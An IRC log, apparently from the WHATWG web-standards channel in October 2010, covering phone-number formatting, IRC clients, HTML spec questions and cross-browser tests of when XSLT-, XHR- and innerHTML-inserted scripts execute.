[15:03:03.0000] <timeless_mbp>
local exchanges in the US don't begin w/ 1

[15:03:04.0000] <AryehGregor>
Area codes can be prefixes of local numbers, right?

[15:03:05.0000] <timeless_mbp>
nor do local area codes in the US

[15:03:06.0000] <AryehGregor>
Yes, okay, I fixed the example.

[15:03:07.0000] <jcranmer>
AryehGregor: if you have 7-digit dialing, you have to specify the 1 to go to another areacode

[15:03:08.0000] <TabAtkins>
Hmm, sure.  I've lived in an area with mandatory 10-digit dialing for so long that I'm not sure how to resolve it.

[15:03:09.0000] <AryehGregor>
Ah, I see.

[15:04:00.0000] <AryehGregor>
So if you're in a place where all phone numbers must be ten digits, *then* you can omit the 1, since it's redundant.

[15:04:01.0000] <AryehGregor>
That makes sense.

[15:04:02.0000] <timeless_mbp>
yep

[15:04:03.0000] <AryehGregor>
We had seven-digit dialing here while I was growing up, it switched to ten-digit while I was in high school.

[15:04:04.0000] <AryehGregor>
So the 1 used to be mandatory for me, then.

[15:04:05.0000] <TabAtkins>
It switched where I live back when I was in elementary school, so I wasn't making calls back then.

[15:05:00.0000] <jcranmer>
we did the ten-digit switch like 8-10 years ago

[15:05:01.0000] <timeless_mbp>
longer

[15:05:02.0000] <jcranmer>
(703/571 split)

[15:05:03.0000] <timeless_mbp>
10 was 2000, we switched before i entered college

[15:05:04.0000] <jcranmer>
which was either in elementary school or middle school

[15:05:05.0000] <jcranmer>
probably before middle, though

[15:05:06.0000] <jcranmer>
so 2001 or earlier

[15:06:00.0000] <timeless_mbp>
ah, http://en.wikipedia.org/wiki/Area_codes_240_and_301

[15:06:01.0000] <timeless_mbp>
yeah we split in 1997

[15:07:00.0000] <TabAtkins>
I guess we changed when Houston did the 713/281 split.  Then it was already in place when we added 832.

[15:08:00.0000] <timeless_mbp>
96 and 99 per http://en.wikipedia.org/wiki/Area_code_713

[15:08:01.0000] <AryehGregor>
Argh, my backup scheme is way too slow.  I should just get an extra couple of disks, pull out a mirror every time I want a backup, and put in some new ones, rotating the ones I take out every time I want a new backup.

[15:09:00.0000] <AryehGregor>
That way backup is immediate.

[15:09:01.0000] <timeless_mbp>
so.. no one found nokia's phone numbers odd?

[15:10:00.0000] <AryehGregor>
They aren't American.

[15:10:01.0000] <TabAtkins>
timeless_mbp: I found them extremely weird.

[15:10:02.0000] <AryehGregor>
That does seem odd.

[15:10:03.0000] <AryehGregor>
Given the givens.

[15:10:04.0000] <TabAtkins>
AryehGregor: Yeah they are.  They're just not formatted American-wise.

[15:10:05.0000] <timeless_mbp>
AryehGregor: so… the numbers do resolve as american numbers

[15:10:06.0000] <timeless_mbp>
they just aren't formatted properly

[15:10:07.0000] <AryehGregor>
Really?

[15:10:08.0000] <AryehGregor>
/me doesn't even know what that means

[15:11:00.0000] <timeless_mbp>
read them right to left

[15:11:01.0000] <timeless_mbp>
fill in the places, 4 digit number

[15:11:02.0000] <timeless_mbp>
3 digit local code

[15:11:03.0000] <timeless_mbp>
3 digit area code

[15:11:04.0000] <timeless_mbp>
remainder = country code

[15:11:05.0000] <timeless_mbp>
s/local code/phone exchange/

[15:12:00.0000] <timeless_mbp>
i haven't gotten around to trying to find the right person to yell at about that page

[15:12:01.0000] <TabAtkins>
18 188 766 000 is an American phone number, but it should be written as 1-818-876-6000.

[15:12:02.0000] <AryehGregor>
Oh.

[15:12:03.0000] <AryehGregor>
Hahaha.

[15:12:04.0000] <timeless_mbp>
"we're *clever*"

[15:12:05.0000] <AryehGregor>
Some of them are sanely formatted, though.

[15:12:06.0000] <timeless_mbp>
the top numbers are manually formatted, presumably

[15:13:00.0000] <AryehGregor>
While we're talking about phones, why is it that caller ID doesn't work on my cell phone?  Does it just not work on cell phones period, do I have to tell T-Mobile to turn it on, what?

[15:13:01.0000] <TabAtkins>
The latter.

[15:13:02.0000] <AryehGregor>
Hmm.

[15:13:03.0000] <AryehGregor>
How might this be accomplished?

[15:13:04.0000] <TabAtkins>
Caller ID is part of the info passed to your phone by the phone company.

[15:13:05.0000] <timeless_mbp>
sadly i have no idea how to find the operator for a cell service

[15:13:06.0000] <jcranmer>
/me is also used to seeing numbers as (703) xxx-xxxx, although you drop that when you get to 10-digit dialing

[15:13:07.0000] <TabAtkins>
I have no idea how to turn it on, though.

[15:14:00.0000] <timeless_mbp>
AryehGregor:  is this TMobile US, or other?

[15:14:01.0000] <AryehGregor>
It's T-Mobile and it's in the US, so I assume so.

[15:15:00.0000] <TabAtkins>
My wife points out the Nokia Burlington set, which has the tel arranged in the crazy way and the fax arranged in the US way.

[15:15:01.0000] <timeless_mbp>
typically there's a * number which gets you something useful

[15:16:00.0000] <timeless_mbp>
TabAtkins:  heh, that's where ArtB's based

[15:16:01.0000] <timeless_mbp>
/me will have to load the page again

[15:18:00.0000] <timeless_mbp>
ooh

[15:18:01.0000] <timeless_mbp>
http://forums.t-mobile.com/t5/HTC-HD2/Convenience-codes-for-mobile-devices-Star-codes/td-p/363305

[15:18:02.0000] <timeless_mbp>
#686# (#NUM#) - Will display your mobile #.

[15:21:00.0000] <timeless_mbp>
ok, "611"

[15:22:00.0000] <timeless_mbp>
is the number for tmobile

[15:24:00.0000] <timeless_mbp>
(only from your tmobile phone)

[15:27:00.0000] <AryehGregor>
What does that do?

[15:28:00.0000] <AryehGregor>
Hmm.

[15:29:00.0000] <AryehGregor>
Some kind of magic voice-recognition thing that didn't recognize "Caller ID" and threatened to transfer me to a representative.

[15:29:01.0000] <AryehGregor>
Well, whatever.

[15:29:02.0000] <AryehGregor>
If it's not on by default, I assume that means you have to pay extra, which totally isn't worth it.

[15:30:00.0000] <timeless_mbp>
it should be included

[15:30:01.0000] <AryehGregor>
Hmm.

[15:30:02.0000] <timeless_mbp>
you almost certainly need a representative

[15:30:03.0000] <AryehGregor>
So you're saying it's included but disabled by default?  Why?

[15:30:04.0000] <timeless_mbp>
i'm saying someone probably messed up your account when they configured it

[15:31:00.0000] <AryehGregor>
Fun.

[15:31:01.0000] <timeless_mbp>
i've never met a plan which didn't have caller id on by default

[15:32:00.0000] <timeless_mbp>
out of curiosity, what phone, and do you have someone nearby w/ a cell phone (preferably from T-Mobile)?

[15:32:01.0000] <AryehGregor>
Nexus One.  And other than me, no.

[15:32:02.0000] <timeless_mbp>
(phones in the US are generally locked to a network, so finding an AT&T phone would probably not get you very far, and a Verizon/Sprint phone wouldn't be GSM)

[15:32:03.0000] <AryehGregor>
Hmm, wait.

[15:32:04.0000] <AryehGregor>
Maybe my terminology is wrong.

[15:33:00.0000] <AryehGregor>
I get the caller's number, but no name, unless it's in my contacts.

[15:33:01.0000] <AryehGregor>
Whereas the landline here gives a name too.

[15:33:02.0000] <timeless_mbp>
oh

[15:33:03.0000] <timeless_mbp>
that's an extra service

[15:33:04.0000] <AryehGregor>
/me knows nothing about phones

[15:33:05.0000] <timeless_mbp>
that your landline provider is giving to you

[15:33:06.0000] <timeless_mbp>
possibly at a reduced to 0 rate

[15:34:00.0000] <timeless_mbp>
or possibly not

[15:34:01.0000] <AryehGregor>
I think my parents do pay extra for that.

[15:34:02.0000] <timeless_mbp>
that's not part of the basic spec at all

[15:34:03.0000] <timeless_mbp>
i don't know of any cell networks which offer that at all

[15:34:04.0000] <timeless_mbp>
but i'm sure they'd charge for it

[15:34:05.0000] <timeless_mbp>
you could probably try supercaller-id

[15:35:00.0000] <timeless_mbp>
looks like that's what you'd want assuming you have a decent data plan

[15:35:01.0000] <TabAtkins>
Ah, okay.  Yeah, I was assuming you just meant "showing the number when someone calls".

[15:36:00.0000] <timeless_mbp>
next time i'll know to ask :)

[15:52:00.0000] <heycam>
yeah

[16:36:00.0000] <heycam>
should new events fired at Window come with an onblah property? how about <body onblah="">?

[16:37:00.0000] <TabAtkins>
Yes, personally.

[16:37:01.0000] <Hixie>
from a spec designer perspective or from an implementor perspective?

[16:37:02.0000] <heycam>
spec designer

[16:37:03.0000] <Hixie>
yes, ask me to add the relevant stuff to the HTML spec

[16:37:04.0000] <Hixie>
(whatcha adding?)

[16:38:00.0000] <heycam>
ok. if/when i have a spec to publish that has one, i'll ask.

[16:38:01.0000] <heycam>
looking at mozAnimationFrame

[16:38:02.0000] <heycam>
s/F/RequestF/

[16:38:03.0000] <Hixie>
ah, cool

[16:38:04.0000] <heycam>
or whatever it's called =P

[16:39:00.0000] <heycam>
is it the case that all events that fire at window currently have a <body onblah>?

[16:48:00.0000] <Hixie>
heycam: no, but all the events that have a window.onblah that isn't on HTMLElement.onblah have a window.onblah, at least per the HTML spec

[16:48:01.0000] <heycam>
ok

[16:48:02.0000] <Hixie>
i.e. window.onfoo and body.onfoo are the same lists

[16:49:00.0000] <Hixie>
er, "have a body.onblah" in the second window.onblah above

[16:49:01.0000] <heycam>
ok that makes more sense :)

[16:50:00.0000] <Hixie>
(DOMContentLoaded is a simple counter-example to your earlier question)

[16:50:01.0000] <Hixie>
(or does that fire on the Document?)


2010-10-19
[17:17:00.0000] <AryehGregor>
By the way, for everyone here who told me about screen (Hixie? jgraham?): you rock.

[17:18:00.0000] <AryehGregor>
(or rather encouraged me to use it, it's not like I hadn't heard about it)

[17:21:00.0000] <Hixie>
screen is indeed awesome

[17:24:00.0000] <heycam>
if screen could fill my xterm scrollback buffers when i connect to it, rather than handle scrolling itself, i might use it more

[17:24:01.0000] <jcranmer>
screen is why I have such high IRC uptime

[17:24:02.0000] <Hixie>
i run my shells under emacs, so emacs takes care of it

[17:26:00.0000] <heycam>
i want an irc proxy so i can stay connected, but use an irc client locally. and i want the proxy to feed my client scrollback content too when i connect to it. (up to a reasonable amount, say a day or two. but to include excerpts outside this time period if my nick is mentioned.)

[17:27:00.0000] <Hixie>
why do you want a local client?

[17:27:01.0000] <heycam>
i am happy with x-chat

[17:28:00.0000] <heycam>
although i am quite happy reading my mail in mutt over ssh, a text-based irc client doesn't do anything for me for some reason

[17:32:00.0000] <Hixie>
i don't really know how to tell the difference... irc is text

[17:36:00.0000] <MikeSmith>
heycam: welcome back

[17:36:01.0000] <AryehGregor>
Text-based IRC clients annoy me too.

[17:36:02.0000] <AryehGregor>
I don't have a very good reason for this, though.

[17:37:00.0000] <AryehGregor>
I tried irssi but didn't feel it was worth it to learn how to use it.

[17:37:01.0000] <AryehGregor>
Oh, also I think it only let me use one window for all channels, which is unacceptable.

[17:37:02.0000] <AryehGregor>
I have a whole monitor with six channels tiled across it.

[17:39:00.0000] <MikeSmith>
also not clear to me what a text-based IRC client is

[17:39:01.0000] <MikeSmith>
means curses-based?

[17:39:02.0000] <AryehGregor>
One that runs in a terminal.

[17:39:03.0000] <AryehGregor>
Instead of a GUI app.

[17:39:04.0000] <MikeSmith>
ah

[17:39:05.0000] <othermaciej>
runs in a terminal, not GUI

[17:39:06.0000] <MikeSmith>
like irssi?

[17:39:07.0000] <MikeSmith>
ok

[17:39:08.0000] <othermaciej>
I am a long time GUI IRC client user

[17:39:09.0000] <othermaciej>
ever since X-Chat back in the day

[17:39:10.0000] <othermaciej>
now it's 100% Colloquy

[17:40:00.0000] <othermaciej>
even though Colloquy doesn't quite do everything I would like

[17:40:01.0000] <othermaciej>
it is usable and pretty to look at

[17:40:02.0000] <MikeSmith>
I recently switched from XChat to Colloquy and been very happy to have made the switch

[17:40:03.0000] <othermaciej>
also, WebKit

[17:40:04.0000] <MikeSmith>
yeah

[17:40:05.0000] <MikeSmith>
plus active developers

[17:40:06.0000] <othermaciej>
I feel compelled to demonstrate my patriotism

[17:40:07.0000] <MikeSmith>
and responsive developers

[17:40:08.0000] <MikeSmith>
on #colloquy

[17:41:00.0000] <AryehGregor>
I really dislike XChat.

[17:41:01.0000] <MikeSmith>
NoOneButMe++

[17:41:02.0000] <MikeSmith>
akempgen++

[17:41:03.0000] <AryehGregor>
Colloquy sounds great, too bad I use Linux.

[17:41:04.0000] <MikeSmith>
and of course xenon++++++++++

[17:41:05.0000] <AryehGregor>
I'm pretty sure that's a syntax error.

[17:42:00.0000] <AryehGregor>
Well, you have an even number of plus signs, so conceivably not, but it's certainly not recommended coding style.

[17:42:01.0000] <othermaciej>
X-Chat feels crufty compared to Colloquy now, though to be fair, lately I have only run it on Windows

[17:42:02.0000] <othermaciej>
dunno if it feels better in its native habitat

[17:43:00.0000] <MikeSmith>
because of public wifi in several places in Australia blocking port 6667 when I was traveling there, I recently set up screen+irssi and been pretty happy with that too

[17:43:01.0000] <sideshow>
yoo hoo

[17:43:02.0000] <MikeSmith>
that's me

[17:44:00.0000] <MikeSmith>
I find irssi with the nm.pl and wlstat.pl plugins to be fairly usable

[17:45:00.0000] <MikeSmith>
nm does proper aligning an coloring of nicks

[17:45:01.0000] <MikeSmith>
wlstat.pl gives you a human-readable channel list at the bottom of the screen

[17:45:02.0000] <MikeSmith>
and irssi handles unicode with no problems too

[17:46:00.0000] <MikeSmith>
anyway, the trend at http://arewefastyet.com/ is very cool

[17:46:01.0000] <roc>
I hate Colloquy. I have not been able to figure out how to collect alerted messages so I can read them even if they've escaped from scrollback

[17:47:00.0000] <MikeSmith>
roc: yeah, that's annoying

[17:47:01.0000] <micheil>
MikeSmith: there's also: http://arewefirstyet.com/

[17:47:02.0000] <MikeSmith>
micheil: thanks

[17:48:00.0000] <MikeSmith>
micheil: what's this measuring?

[17:48:01.0000] <micheil>
where the search terms for JavaScript rank on google

[17:48:02.0000] <roc>
it also has crazy bugs where it sometimes stops redrawing

[17:48:03.0000] <micheil>
as currently if you look for help on JS, the decent documentation is no where to be seen

[17:48:04.0000] <roc>
and sometimes there are visual artifacts

[17:48:05.0000] <MikeSmith>
roc: ping NoOneButMe or akempgen on #colloquy

[17:49:00.0000] <MikeSmith>
I think there's also a bug tracker for Colloquy but can't remember where

[17:49:01.0000] <roc>
and there's no support for user-configured hyperlinking

[17:49:02.0000] <roc>
yet

[17:49:03.0000] <roc>
I still use it

[17:49:04.0000] <roc>
obviously something is wrong with me

[17:50:00.0000] <roc>
anyway I'm switching to Windows soon, so it doesn't matter

[17:50:01.0000] <MikeSmith>
roc: http://colloquy.info?bugs or http://colloquy.info/project/report/1

[17:51:00.0000] <MikeSmith>
wow, 536 bugs

[17:51:01.0000] <MikeSmith>
536 *active* bugs

[17:51:02.0000] <MikeSmith>
Colloquy needs some more developers…

[17:56:00.0000] <MikeSmith>
http://arewefastyet.com/ makes me wonder whether that point on the Sunspider graph around 370ms or whatever is going to be where all the implementations will end up plateauing for a while

[17:56:01.0000] <othermaciej>
there is a lot of room for improvement in Colloquy

[17:56:02.0000] <Hixie>
MikeSmith: check out how many active bugs mozilla or webkit have ;-)

[17:57:00.0000] <MikeSmith>
Hixie: well, yeah

[17:57:01.0000] <MikeSmith>
would be more fair to compare how many bugs Chatzilla has, maybe

[17:58:00.0000] <Hixie>
number of open bugs is a function of the size of the QA base, not the engineering base

[17:58:01.0000] <MikeSmith>
about I meant maybe everybody will plateau (or whatever better word) there due to all having basically reached the same limits as far as what performance can be squeezed using the current techniques (that have come around in the last 2 years or whatever)

[17:59:00.0000] <othermaciej>
bug in / out rate are more interesting metrics than open bug level IMO

[17:59:01.0000] <AryehGregor>
Number of open bugs is a function of the size of the bug-reporter base.

[17:59:02.0000] <MikeSmith>
Hixie: I think in the case of Colloquy, it's the same base

[17:59:03.0000] <MikeSmith>
:)

[18:00:00.0000] <roc>
bugzilla.mozilla.org also has bugs for lots of non-Firefox things. Like every time a Mozilla employee requests hardware, that's a bug

[18:00:01.0000] <roc>
we also have bugs assigned to the legal department

[18:00:02.0000] <MikeSmith>
I don't know who maintains http://arewefastyet.com/ but it might be worthwhile to add Opera to it 

[18:00:03.0000] <MikeSmith>
Carakan

[18:01:00.0000] <AryehGregor>
MikeSmith, #3 on http://arewefastyet.com/faq.html

[18:01:01.0000] <roc>
MikeSmith: dvander⊙mc However, they can't add Carakan easily because no standalone JS shell is available

[18:02:00.0000] <MikeSmith>
jgraham: ↑ gsnedders 

[18:03:00.0000] <roc>
MikeSmith: I think we'll probably plateau on Sunspider because we don't think it's a great benchmark at this point, so once we've beaten everybody else the incentive to keep going is low

[18:03:01.0000] <MikeSmith>
AryehGregor: thanks

[18:03:02.0000] <MikeSmith>
roc: I see

[18:03:03.0000] <MikeSmith>
I know JS benchmarks are kind of touchy subject anyway

[18:04:00.0000] <Craig`>
hey guys, is it possible to check if an image is a part of another image? guessing i'd have to use canvas.

[18:04:01.0000] <Hixie>
from js?

[18:04:02.0000] <Hixie>
there's no direct api for it

[18:04:03.0000] <Philip`>
"part of"?

[18:04:04.0000] <Hixie>
you could as you say implement it manually using canvas to get the image data

[18:04:05.0000] <MikeSmith>
roc: so maybe I shouldn't have brought it up here… but anyway, it's great to see the progress that chart shows has been made over the last couple months

[18:05:00.0000] <Craig`>
Philip`, like one image is a piece of another

[18:05:01.0000] <roc>
touchy? we do touchy here :-)

[18:05:02.0000] <Craig`>
for example a picture of a human, the sub-image may just be the head, and i want to check if the whole body contains the head image inside

[18:05:03.0000] <roc>
I'm not sure what is touchy though

[18:05:04.0000] <Philip`>
Like you have a 10x10 image and a 20x20 image and want to see if any 10x10 region of the larger image is precisely identical to the smaller image?

[18:06:00.0000] <heycam>
MikeSmith, thanks!

[18:06:01.0000] <MikeSmith>
roc: I suspect there was probably a measurable difference just do the fact of heycam joining the mozilla team :) that's the kind of voodoo he seems to have

[18:06:02.0000] <Craig`>
Philip`, yes

[18:06:03.0000] <heycam>
(and yeah i meant curses based)

[18:07:00.0000] <roc>
he's stuck in Auckland so hasn't had much chance to influence the rest of Mozilla yet :-)

[18:07:01.0000] <MikeSmith>
heh

[18:07:02.0000] <MikeSmith>
lol

[18:07:03.0000] <MikeSmith>
heycam: you moved already?

[18:07:04.0000] <MikeSmith>
I really want to visit Auckland

[18:07:05.0000] <MikeSmith>
you dudes please find me a business reason to travel to Auckland for a visit

[18:08:00.0000] <heycam>
yeah just arrived a few weeks ago

[18:08:01.0000] <heycam>
come on over :)

[18:09:00.0000] <Hixie>
anyone got an animated GIF with frame numbers? a testcase animated gif?

[18:11:00.0000] <heycam>
/me brb lunch

[18:14:00.0000] <MikeSmith>
Peter`: when I first read "The Chromium Team chose to enable their implementation of the FileSystem API by default. ", it seemed like it implied there was some other WebKit-based implementation of the FileSystem API

[18:16:00.0000] <MikeSmith>
maybe "The Chromium Team recently implemented the FileSystem API, and has now chosen to enable it by default in Chrome." or something would be better

[18:16:01.0000] <MikeSmith>
(or maybe it's just me)

[18:22:00.0000] <MikeSmith>
"There is a downside too, as the advocated API is asynchronous, it has a steep learning curve."

[18:22:01.0000] <MikeSmith>
in general, do asynchronous APIs have a really steeper learning curve than synchronous ones?

[18:23:00.0000] <MikeSmith>
I mean, once you get past the initial step of learning how to program that way at all?

[18:23:01.0000] <MikeSmith>
hmm, I guess they do

[18:24:00.0000] <Philip`>
[Craig]: Sounds like getImageData and a string search is the best you can do, then

[18:24:01.0000] <MikeSmith>
or at least, they are necessarily always more complicated a bit at least

[18:34:00.0000] <AryehGregor>
Mozilla people (roc, sicking): how long should I wait before poking people about checkin-needed not being checked in?  And who do I poke?  It's been five days.  https://bugzilla.mozilla.org/show_bug.cgi?id=586763

[18:36:00.0000] <timeless_mbp>
AryehGregor: dao is a good person to poke

[18:37:00.0000] <timeless_mbp>
or gavin perhaps (not sure if he still does that)

[18:37:01.0000] <timeless_mbp>
dao landed something for me monday morning

[18:37:02.0000] <timeless_mbp>
in theory i could do it, but in practice the tree scares me

[18:38:00.0000] <gavin>
I can check it in tomorrow

[18:39:00.0000] <AryehGregor>
gavin, thanks.

[18:43:00.0000] <sicking>
AryehGregor: the best thing to do is ask around in #developers on irc.mozilla.org

[18:43:01.0000] <sicking>
oh, gavin already answered you

[18:47:00.0000] <sicking>
AryehGregor: i might give it a try tonight if i don't get home too late

[18:49:00.0000] <AryehGregor>
Okay, thanks.

[20:37:00.0000] <heycam>
/me wonders why @html5douche tweeted non-doucheily

[20:45:00.0000] <wirepair>
ha, this is way more amusing than i thought it would be

[20:46:00.0000] <wirepair>
damn you heycam for ruining my concentration ;)

[21:09:00.0000] <MikeSmith>
heycam: I think it's because he forgot what account he was tweeting from…

[21:10:00.0000] <heycam>
MikeSmith, likely!

[21:12:00.0000] <MikeSmith>
cool to see this:

[21:12:01.0000] <MikeSmith>
http://dougt.org/wordpress/2010/10/desktop-notifications-in-fennec/

[21:12:02.0000] <MikeSmith>
annevk should be happy

[21:12:03.0000] <MikeSmith>
heycam: did you hear that annevk is a WG chair now?

[21:13:00.0000] <MikeSmith>
of the Web Notification WG

[21:13:01.0000] <heycam>
MikeSmith, I did!

[21:13:02.0000] <heycam>
all grown up

[21:13:03.0000] <MikeSmith>
heh

[21:13:04.0000] <heycam>
:)

[23:47:00.0000] <hsivonen>
Hixie: FYI: https://bugzilla.mozilla.org/show_bug.cgi?id=605373

[23:47:01.0000] <hsivonen>
scoping object strikes again :-(

[23:48:00.0000] <Hixie>
yeah, unfortunately IE's behaviour is basically a non-starter on that one

[23:48:01.0000] <Hixie>
(they just drop the <object> from the DOM entirely)

[23:48:02.0000] <Hixie>
we'll always have regressions

[23:49:00.0000] <Hixie>
or pages that don't parse ideally

[23:49:01.0000] <Hixie>
since there are pages depending on different contradictory behaviours

[23:49:02.0000] <Hixie>
at some point we just have to draw a line and accept it

[23:49:03.0000] <Hixie>
(dunno which side of the line this one is on)

[00:16:00.0000] <shepazu>
anyone have an opinion on whether it's better to use multiple <aside>s for different bits of a sidebar, such as a blogroll and an archive list, or to use a single <aside> with multiple child <section>s?

[00:24:00.0000] <Hixie>
shepazu: both are fine

[00:25:00.0000] <Hixie>
shepazu: really it depends whether stylistically it would be fine for one part to be elsewhere or whether the whole thing should always stick together

[00:29:00.0000] <shepazu>
Hixie: thanks, I thought that might be the answer... now I have to decide how related the sections are... doing some tweaking of http://www.w3.org/Graphics/SVG/

[00:32:00.0000] <shepazu>
might be good to have separate asides, so the different sections could be reordered, put on different sides of the page, etc...  anyway, good to know that both are reasonable

[00:40:00.0000] <Peter`>
MikeSmith: it's mainly the idea of asynchronous programming which is hard for people to understand

[01:26:00.0000] <jgraham>
Hixie: I'm pretty sure we has at least a couple of sites break due to the <object> thing. I meant to look up the sites but didn't

[01:29:00.0000] <Hixie>
given the wacked out things IE does with <object> i would expect it to be one of less successful areas

[01:40:00.0000] <jgraham>
Right, but that doesn't mean that we need to gratuitously break sites if it is avoidable

[01:41:00.0000] <jgraham>
Since no one else but IE used the IE behaviour and these breakages are regressions

[01:43:00.0000] <hsivonen>
jgraham: at this point, reading the code of the old WebKit tree builder in order to figure out what exactly it did would be nice

[01:44:00.0000] <hsivonen>
no progress on https://bugs.webkit.org/show_bug.cgi?id=46936

[01:55:00.0000] <hsivonen>
aaaargh. interaction with legacy stuff strikes again: https://bugzilla.mozilla.org/show_bug.cgi?id=604660

[01:59:00.0000] <nessy>
amongst some open video software developers we are developing a proposal for HTTP adaptive streaming - mostly focused on Ogg and WebM with some specifications for extending HTML5 APIs - I wonder if it would be appropriate to chuck this into the WHATWG wiki in preparation for discussions on the mailing list?

[01:59:01.0000] <Hixie>
jgraham: oh i'm not saying we shouldn't fix it if there's a good fix that does more good than harm

[01:59:02.0000] <Hixie>
jgraham: just that i'm not surprised to see that kind of problem come up

[02:06:00.0000] <annevk>
nessy, go ahead

[02:06:01.0000] <nessy>
annevk: cool, ta

[02:07:00.0000] <annevk>
WHATWG wiki is open for most everything, and definitely everything that is related to web standards

[02:38:00.0000] <annevk>
ArrayBuffer exposes endianness?

[02:38:01.0000] <annevk>
oh well

[03:12:00.0000] <hsivonen>
I wish the script running section of the spec had reminded me that XSLT-inserted scripts need to behave like parser-inserted scripts

[03:13:00.0000] <jgraham>
Oh man, I hadn't even considered the possibility of xslt inserted scripts

[03:19:00.0000] <jgraham>
Can you make xslt work with text/html content during parsing? I can't think of an easy way but there could be something I missed

[03:20:00.0000] <hsivonen>
jgraham: do you mean applying XSLT to text/html during parsing?

[03:21:00.0000] <jgraham>
Yes

[03:21:01.0000] <hsivonen>
jgraham: not with anything equivalent to <?xml-stylesheet, no

[03:22:00.0000] <hsivonen>
jgraham: I have no idea what would happen if you passed a document that's still being parsed to the XSLT JS API

[03:22:01.0000] <jgraham>
That was more what I was wondering about

[03:24:00.0000] <hsivonen>
I believe XSLT-created scripts in the JS API case should be prevented from executing like innerHTML-created scripts

[03:40:00.0000] <hsivonen>
...or maybe not

[03:42:00.0000] <hsivonen>
happy happy time ahead with scripts inserted via XSLTProcessor and createContextualFragment

[05:33:00.0000] <hsivonen>
stuff I've learned today: an XSLT transform fails to compile in Gecko if it doesn't have the version="1.0" attribute

[05:42:00.0000] <hsivonen>
why does Chrome throw a WRONG_DOCUMENT_ERR when moving a node from an XSLT result doc to an HTML page?

[05:43:00.0000] <jgraham>
Isn't that a case where DOM Core literalism would make you use adoptNode?

[05:44:00.0000] <annevk>
hsivonen, WebKit has not yet removed throwing WRONG_DOCUMENT_ERR for certain scenarios

[05:44:01.0000] <hsivonen>
jgraham: yeah

[05:44:02.0000] <hsivonen>
annevk: ok

[05:45:00.0000] <hsivonen>
http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToDocument.html

[05:45:01.0000] <hsivonen>
Opera runs the script once it's adopted

[05:45:02.0000] <hsivonen>
Gecko trunk and Chrome don't run it

[05:45:03.0000] <hsivonen>
yay for interop

[05:49:00.0000] <jgraham>
/me doesn't have any issues with decomplexifying XSLT support if possible

[05:50:00.0000] <annevk>
hsivonen, what hotel are you staying at for TPAC?

[05:50:01.0000] <hsivonen>
Hotel de congres

[05:51:00.0000] <hsivonen>
annevk: the one that a while ago still had the 100% .swf site

[05:52:00.0000] <annevk>
http://www.hoteldescongres.com/

[05:52:01.0000] <annevk>
?

[05:52:02.0000] <annevk>
seems there's less Flash now

[05:52:03.0000] <hsivonen>
annevk: yes and yes

[05:53:00.0000] <annevk>
number of nights... hmm

[05:53:01.0000] <annevk>
like I know

[05:55:00.0000] <hsivonen>
http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html

[05:55:01.0000] <hsivonen>
script runs in Firefox and Opera

[05:55:02.0000] <hsivonen>
not in WebKit

[05:58:00.0000] <annevk>
I'm staying there too now

[05:58:01.0000] <annevk>
thanks

[06:12:00.0000] <hsivonen>
maybe I should test DOMParser-created scripts next...

[06:13:00.0000] <hsivonen>
and maybe XHR-created scripts

[06:20:00.0000] <hsivonen>
annevk: Opera disagrees with Firefox and WebKit on http://hsivonen.iki.fi/test/moz/scripts/xhr.html

[06:22:00.0000] <hsivonen>
hmm. IE9 can't adopt a node from XHR into a displayed doc

[06:22:01.0000] <hsivonen>
boo

[06:25:00.0000] <hsivonen>
Gecko disagrees with WebKit and Opera: http://hsivonen.iki.fi/test/moz/scripts/xhr-importNode.html

[07:07:00.0000] <karlcow>
The Design of HTML5 - http://adactio.com/articles/1704

[07:07:01.0000] <karlcow>
huge blog post

[07:09:00.0000] <annevk>
it's a transcription

[07:11:00.0000] <karlcow>
annevk: yep of the conference Fronteers 2010

[07:24:00.0000] <MikeSmith>
annevk: in this tweet: http://twitter.com/#!/DennisLaumen/status/27818124542

[07:25:00.0000] <MikeSmith>
the "ik kon me geen directe pimp herinneren" part

[07:25:01.0000] <MikeSmith>
how would you translate that/

[07:25:02.0000] <MikeSmith>
"I can't recall a direct pimp"?

[07:25:03.0000] <MikeSmith>
"I can't recall pimping directly"?

[07:26:00.0000] <annevk>
I do not remember direct pimping

[07:26:01.0000] <annevk>
so yeah, something like that

[07:26:02.0000] <MikeSmith>
ok

[07:26:03.0000] <MikeSmith>
thanks

[07:41:00.0000] <hsivonen>
annevk: I recall someone (you?) tweeting from fronteers that authors weren't aware that vendor-prefixed CSS properties can be discontinued at any time

[07:41:01.0000] <hsivonen>
annevk: do I recall correctly? are authors really thinking that the vendor-prefixed stuff is stable?

[07:42:00.0000] <jgraham>
I thought they were unaware that it was "invalid"

[07:42:01.0000] <jgraham>
s/"/*/

[07:43:00.0000] <hsivonen>
oh

[07:49:00.0000] <annevk>
some think it is valid

[07:49:01.0000] <annevk>
I am not sure whether they think it is stable

[07:53:00.0000] <hsivonen>
annevk: ok. thanks

[07:53:01.0000] <hsivonen>
does IE9 use the new JS engine for the old document modes?

[07:53:02.0000] <hsivonen>
and the new Direct2D graphics layer?

[07:55:00.0000] <hsivonen>
Opera disagrees with Gecko, WebKit and IE9 beta 1 on http://hsivonen.iki.fi/test/moz/scripts/DOMParser.html

[08:02:00.0000] <hsivonen>
the weirdest thing I've learned today:

[08:02:01.0000] <hsivonen>
http://hsivonen.iki.fi/test/moz/scripts/innerHTML-in-doc-defer-plus-cruft.html

[08:02:02.0000] <hsivonen>
innerHTML script runs in IE

[08:02:03.0000] <hsivonen>
http://hsivonen.iki.fi/test/moz/scripts/innerHTML-in-doc-defer.html

[08:02:04.0000] <hsivonen>
innerHTML script doesn't run in IE

[08:03:00.0000] <hsivonen>
MSDN said defer would run

[08:03:01.0000] <hsivonen>
first I figured that MSDN was wrong

[08:03:02.0000] <hsivonen>
then I learned you need to have something in addition to the script element in the innerHTML setter argument for the script to run

[08:09:00.0000] <MikeSmith>
hsivonen: during my recent language messings-around in twitter, I was kind of a surprised to realize there doesn't seem to be any direct article or indirect article in Finnish

[08:09:01.0000] <MikeSmith>
is that the case?

[08:09:02.0000] <annevk>
oh

[08:09:03.0000] <annevk>
are we gonna publish today?

[08:09:04.0000] <annevk>
do I need to do anything?

[08:09:05.0000] <MikeSmith>
yeah

[08:09:06.0000] <MikeSmith>
change date to Oct 19

[08:09:07.0000] <annevk>
I guess I haven't merged recent changes

[08:09:08.0000] <MikeSmith>
please do now :)

[08:10:00.0000] <hsivonen>
MikeSmith: do you mean like "the" or "a"/"an"?

[08:10:01.0000] <MikeSmith>
yeah

[08:10:02.0000] <MikeSmith>
